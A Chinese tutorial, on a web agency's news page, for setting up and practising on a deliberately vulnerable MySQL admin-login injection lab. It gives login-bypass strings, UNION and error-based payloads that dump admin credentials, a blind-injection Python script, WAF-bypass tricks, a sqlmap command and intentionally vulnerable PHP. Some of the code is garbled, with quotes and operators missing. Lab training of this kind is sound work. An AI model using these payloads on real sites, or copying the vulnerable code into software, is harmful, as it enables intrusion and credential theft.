尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

MySQL后台注入靶场实战:从环境搭建到绕过WAF的完整指南

发布时间:2026/9/25 2:24:44

资讯中心
01
ARTICLE

MySQL后台注入靶场实战:从环境搭建到绕过WAF的完整指南

MySQL后台注入靶场实战:从环境搭建到绕过WAF的完整指南
简介这是一份面向Web安全初学者与渗透测试练习者的MySQL后台注入靶场源码基于存在漏洞的网站程序搭建可用于本地或空间环境下的注入测试与安全实验。资源包共844个文件以291个php脚本为核心业务代码辅以106个html页面、67个js脚本、16个css样式及251个gif、46个png等图片素材另有sql数据库文件与htaccess配置压缩包约4.95MB结构完整便于部署。安装时上传至空间根目录并访问install目录按提示配置数据库即可后台目录可重命名以增强隐蔽性不需要会员功能可删除member目录安装后建议及时删除install目录。目前已有826人学习下载适合想通过真实漏洞环境理解SQL注入原理、练习手工注入与工具利用的读者可借此熟悉后台注入点定位、参数构造与权限验证流程积累实战排错经验。1. 从一份 mysql后台注入靶场源码.rar 说起它到底能练什么很多人第一次拿到mysql后台注入靶场源码.rar这种压缩包第一反应是解压、找index.php、丢进htdocs然后浏览器一开就懵了——页面能跑但不知道从哪下手更不知道这套东西到底在训练什么能力。它本质上是一套故意留了 SQL 注入漏洞的后台登录系统通常包含登录页、后台管理页、用户表、文章表这几块漏洞点集中在登录框、搜索框、URL 参数这些「用户输入直接拼进 SQL」的位置。它解决的不是「怎么装 MySQL」这种问题而是让你在一个可控、可反复重来、不会碰真实数据的环境里把「后台注入」从概念变成手感怎么判断注入点、怎么猜字段数、怎么拿账号密码、怎么从登录绕过一路走到数据读取。适合谁适合刚学完mysql update语法、mysql排序这类基础语句想找个真实后台练手的人也适合已经会sqlilabs靶场1–65过关但没碰过「后台场景」的从业者。这套源码的价值不在代码本身而在于它把「后台」这个上下文补上了——真实渗透里后台注入的利用链和纯查询参数注入完全不是一回事。2. 把靶场跑起来环境、数据库和三个必调参数2.1 为什么优先用 Linux MySQL 而不是一键包拿到源码后第一件事是选运行环境。Windows 上一键包phpstudy 之类确实快但后台注入靶场经常要改mysql配置、看错误日志、调sql_modeWindows 下路径和权限问题会把排查成本拉高。我一般用 LinuxUbuntu 或 Kali 都行装mysql和php把源码丢进/var/www/html。这样做的另一个好处是mysql安装配置教程里那些error 2002 (hy000): cant connect to local mysql server through socket /tmp...的报错在 Linux 下你能直接看到 socket 路径改起来有据可依。如果你坚持用 Windows至少把php.ini里的display_errors打开否则注入报错被吞掉你连字段数都猜不出来。2.2 建库建表从源码里反推 SQL 结构不要急着导入.sql文件很多这种压缩包里根本没有。正确做法是先读源码里的config.php或conn.php找到数据库名、表名、字段名。常见结构是users(id, username, password)和admin(id, username, password)。下面这段是我根据这类靶场最常见的结构写的建库脚本字段名和源码对不上就改字段名逻辑不变-- 建库字符集用 utf8mb4避免中文乱码 CREATE DATABASE IF NOT EXISTS inject_lab DEFAULT CHARSET utf8mb4; USE inject_lab; -- 用户表id 自增username 唯一 CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL UNIQUE, password VARCHAR(50) NOT NULL ); -- 后台管理员表单独一张模拟真实后台 CREATE TABLE admin ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL, password VARCHAR(50) NOT NULL ); -- 插入测试数据密码故意用明文方便你注入后验证 INSERT INTO users (username, password) VALUES (alice, alice123); INSERT INTO users (username, password) VALUES (bob, bob456); INSERT INTO admin (username, password) VALUES (admin, admin888);逻辑说明users表给前台登录用admin表给后台登录用两张表分开是为了让你练「跨表猜解」。参数说明VARCHAR(50)够用别用TEXT否则UNION查询时字段类型对不上会报错UNIQUE加在username上是为了让你在注入INSERT时能观察到唯一约束报错这也是信息泄露的一种。建完表后用mysql -u root -p进去SELECT * FROM admin;确认数据在。2.3 三个必调参数sql_mode、display_errors、magic_quotes靶场能不能顺利注入取决于三个配置。第一个是sql_modeMySQL 5.7 以后默认开了ONLY_FULL_GROUP_BY和STRICT_TRANS_TABLES前者会让GROUP BY注入报错后者会让UNION字段类型不匹配直接失败。我一般临时关掉-- 查看当前 sql_mode SELECT sql_mode; -- 临时关闭严格模式方便注入练习 SET GLOBAL sql_mode ;第二个是 PHP 的display_errors在php.ini里改成On否则mysql_error()不输出你只能盲注。第三个是magic_quotes_gpcPHP 5.4 以后已经移除但如果你用的是老版本 PHP必须确认它是Off否则单引号被转义注入直接翻车。这三个参数调完重启apache或php-fpm再访问靶场首页。提示改完sql_mode后当前已建立的连接不会立即生效重新连接一次 MySQL 再测。3. 后台注入的三种典型打法从登录绕过到数据读取3.1 登录框万能密码为什么 or 11 --有时不灵后台注入最经典的入口是登录框。源码里通常写的是SELECT * FROM admin WHERE username$user AND password$pass。你输入admin or 11 --拼出来就是usernameadmin or 11 -- AND password...--后面被注释掉条件恒真直接进后台。但很多人试了没反应原因有三个一是--后面必须跟一个空格URL 里要编码成--%20二是源码可能用了mysql_real_escape_string单引号被转义三是查询用的是admin表但字段名不是username你猜错了。排查方法先在登录框输入一个单引号看页面是否报 SQL 语法错误报错说明有注入不报错说明被过滤或没拼接。// 典型漏洞代码方便你对照源码 $user $_POST[username]; $pass $_POST[password]; $sql SELECT * FROM admin WHERE username$user AND password$pass; $result mysql_query($sql); if (mysql_num_rows($result) 0) { // 登录成功 }逻辑说明这段代码直接把$_POST拼进 SQL没有任何过滤。参数说明mysql_query是老扩展PHP 7 已移除如果你环境是 PHP 7源码里应该是mysqli_query但注入逻辑一样。你要做的是找到这行拼接确认变量名和表名。3.2 联合查询拿数据字段数、回显位、库名表名登录绕过只是进门真正拿数据要靠UNION。步骤固定先ORDER BY猜字段数再用UNION SELECT找回显位最后查database()、table_name、column_name。假设后台有个搜索框URL 是search.php?keywordxxx源码里SELECT id,title,content FROM articles WHERE title LIKE %$keyword%。你先试keywordxxx ORDER BY 3 --正常说明 3 个字段试 4 报错说明就是 3 个。然后-- 找回显位1,2,3 会显示在页面上 xxx UNION SELECT 1,2,3 -- -- 查当前库和版本 xxx UNION SELECT 1,database(),version() -- -- 查所有表名 xxx UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() -- -- 查 admin 表的字段 xxx UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameadmin -- -- 拿账号密码 xxx UNION SELECT 1,group_concat(username,0x3a,password),3 FROM admin --逻辑说明0x3a是冒号的十六进制用来分隔用户名和密码避免group_concat结果混在一起。参数说明group_concat默认长度 1024如果数据多会被截断可以SET SESSION group_concat_max_len100000;再查。回显位如果只有 2 个就把1,2,3改成1,2对应调整。3.3 报错注入和盲注回显关了怎么继续有些后台把错误关了、回显位也没有这时候用报错注入。MySQL 里updatexml和extractvalue是常用函数-- 报错注入查库名XPATH 报错会把结果带出来 xxx AND updatexml(1,concat(0x7e,database(),0x7e),1) --逻辑说明0x7e是波浪号用来包裹结果方便在报错信息里定位。参数说明updatexml第一个参数是 XML 对象第二个是 XPath 表达式第三个是替换值这里故意让 XPath 非法触发报错。如果updatexml被过滤换extractvalue(1,concat(0x7e,database()))。盲注则用if加substr逐字符猜脚本化跑手工太慢。注意报错注入在 MySQL 5.1 以上可用但updatexml在 MySQL 8.0 某些版本被限制先SELECT updatexml(1,1,1);测一下。4. 避坑与排查后台注入靶场最常见的五个翻车点4.1 页面 500 但看不到错误display_errors 没开现象输入单引号后页面直接 500没有任何 SQL 报错。原因PHP 的display_errors是Off或者error_reporting没包含E_ALL。解决在php.ini里设display_errors On和error_reporting E_ALL重启服务如果改不了php.ini在源码入口文件顶部加ini_set(display_errors, 1); error_reporting(E_ALL);。4.2 注入语句被转义magic_quotes 或 addslashes现象输入变成\UNION不生效。原因源码用了addslashes或mysql_real_escape_string或者 PHP 老版本开了magic_quotes_gpc。解决先确认 PHP 版本5.4 以下查magic_quotes_gpc关掉如果是addslashes找源码里过滤函数注释掉再测。注意这是靶场真实环境不能这么干。4.3 UNION 报字段数不匹配字段类型和数量都要对现象ORDER BY猜出 3 个字段但UNION SELECT 1,2,3报错。原因原查询字段类型和UNION后面的类型不兼容比如原字段是INT你塞了字符串。解决把UNION后面的值改成NULLNULL兼容所有类型UNION SELECT NULL,NULL,NULL先跑通再逐个替换成database()等函数。4.4 后台登录成功但进不去session 或跳转逻辑现象万能密码显示登录成功但页面又跳回登录页。原因源码在登录成功后写了$_SESSION[admin]1但跳转判断的是$_SESSION[user]或者 session 没启动。解决读源码里登录成功后的几行看 session 键名和跳转条件必要时手动在 URL 里访问admin.php看是否直接放行。4.5 数据库连不上socket 路径和端口现象error 2002 (hy000): cant connect to local mysql server through socket /tmp/mysql.sock。原因PHP 的mysql.default_socket和 MySQL 实际 socket 路径不一致或者 MySQL 没启动。解决ps aux | grep mysql确认进程find / -name *.sock找实际路径在php.ini里改mysql.default_socket或mysqli.default_socket重启。5. 进阶把靶场改成「可验证」的练习环境5.1 用脚本自动化验证注入结果手工注入练手感但验证「到底拿没拿到数据」最好用脚本。下面这段 Python 用requests跑一个布尔盲注的验证判断database()第一个字符是不是iimport requests url http://localhost/search.php # 布尔盲注 payload判断 database() 首字符 ASCII 是否大于 100 payload xxx AND ascii(substr(database(),1,1))100 -- params {keyword: payload} r requests.get(url, paramsparams) # 页面里出现 结果 说明条件为真 if 结果 in r.text: print(首字符 ASCII 100继续二分) else: print(首字符 ASCII 100)逻辑说明substr(database(),1,1)取库名第一个字符ascii()转码100是二分法的一步。参数说明url换成你的靶场地址params里的keyword换成实际参数名。跑通后把100改成50、75逐步逼近最终确定字符。这个脚本的价值是你可以用它批量验证UNION和报错注入的结果是否一致避免手工看花眼。5.2 加一层 WAF 规则练绕过靶场跑通后别急着删。在源码入口加一段简单的过滤模拟真实 WAF// 简单过滤把 union 和 select 替换成空 $keyword str_ireplace(array(union, select), , $_GET[keyword]);逻辑说明str_ireplace不区分大小写替换union和select被删掉。参数说明这种过滤很弱你可以用ununionion绕过替换后剩下union或者用/*!50000union*/内联注释。练的就是这种「过滤与绕过」的对抗感。我自己的习惯是每加一条规则先手工试三种绕过再写脚本批量跑确认规则到底拦住了什么。5.3 验证方法用 sqlmap 交叉确认手工注入容易漏用sqlmap交叉验证是常规操作。命令# 对搜索参数跑 sqlmap--batch 自动选默认 sqlmap -u http://localhost/search.php?keyword1 --batch --dbs逻辑说明-u指定 URL--dbs列数据库。参数说明如果sqlmap跑不出来但你手工能注入说明你的 payload 里有sqlmap没识别的手工技巧反过来也是。我一般用sqlmap确认注入点存在再手工走一遍利用链两边对不上就查源码看是不是有隐藏过滤。提示sqlmap只在你自己的靶场里用别对未授权目标跑。这套mysql后台注入靶场源码.rar最大的价值不是「拿到源码」而是你把它跑起来、改坏、再修好反复几轮之后后台注入的每个环节都变成肌肉记忆。我自己的习惯是每练完一个点就在源码里加一条过滤再想办法绕过去这样比单纯刷dvwa靶场通关教程更贴近真实后台的对抗节奏。希望帮到你。本文还有配套的精品资源点击获取
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。